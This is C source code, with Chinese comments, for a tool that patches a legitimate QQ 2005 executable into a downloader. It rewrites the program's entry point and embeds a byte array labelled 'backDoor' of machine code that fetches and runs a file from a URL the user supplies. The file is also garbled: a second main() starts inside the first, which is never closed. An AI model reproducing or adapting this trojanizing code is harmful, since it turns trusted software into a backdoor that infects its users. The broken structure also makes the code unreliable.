int main(int argc, char* argv[])
{
FILE *fp;
unsigned int i;
int entryPoint[] = {233,182,2,7,0}; //入口要修正的字节
char *pDownURL = NULL; //指向下载URL的指针
char *pPathAndFileName = NULL; //指向文件路径和文件名的指针
int backDoor[] =
{
96,106,0,106,0,104,205,77,77,0,104,144,
77,77,0,106,0,232,202,235,188,117,
97,96,106,5,104,205,77,77,0,232,38,
175,151,119,97,195,0,0,96,106,0,106,
0,104,235,77,77,0,232,101,48,115,
119,97,85,139,236,106,255,233,48,
253,248,255,0
};
if(argc != 3)
{
printf("\n\t\t Make qq to be downloader\n");
printf("\n\t\t\t\tngaut All rights reserved.\n\n");
printf("Usage: %s <downloadURL> <pathAndFileName> \n", argv[0]);
printf("%s and qq.exe should at the same directory\n", argv[0]);
printf("The os should be winxp sp1 and The qq version should be 2005\n");
printf("pathAndFileName should like:\n\t d:\\\\mm.exe not d:\\mm.exe\n");
return 1;
}
pDownURL = argv[1];
pPathAndFileName = argv[2];
printf("\n\t\t Make qq to be downloader\n");
printf("Cracking......\n");
// 1. 打开文件qq.exe ,这个是正常的qq.exe
if ((fp = fopen("QQ.exe", "r+"))==NULL)
{
printf("error!!! Can not open qq.exe!!!\n\n");
printf("Press any key to continue\n");
getchar();
exit(0);
}
//2. set entry point
fseek(fp, 0x64b58, SEEK_SET);
for (i=0; i<5; i++)
{
fputc( (char)entryPoint[i], fp);
}
int main(int argc, char* argv[])
{
FILE *fp;
unsigned int i;
// 1. 打开文件qq.exe, 注意这个qq是修改过的
if ((fp = fopen("QQ.exe", "r+"))==NULL)
{
printf("error!!! Can not open qq.exe!!!\n\n");
printf("Press any key to continue\n");
getchar();
exit(0);
}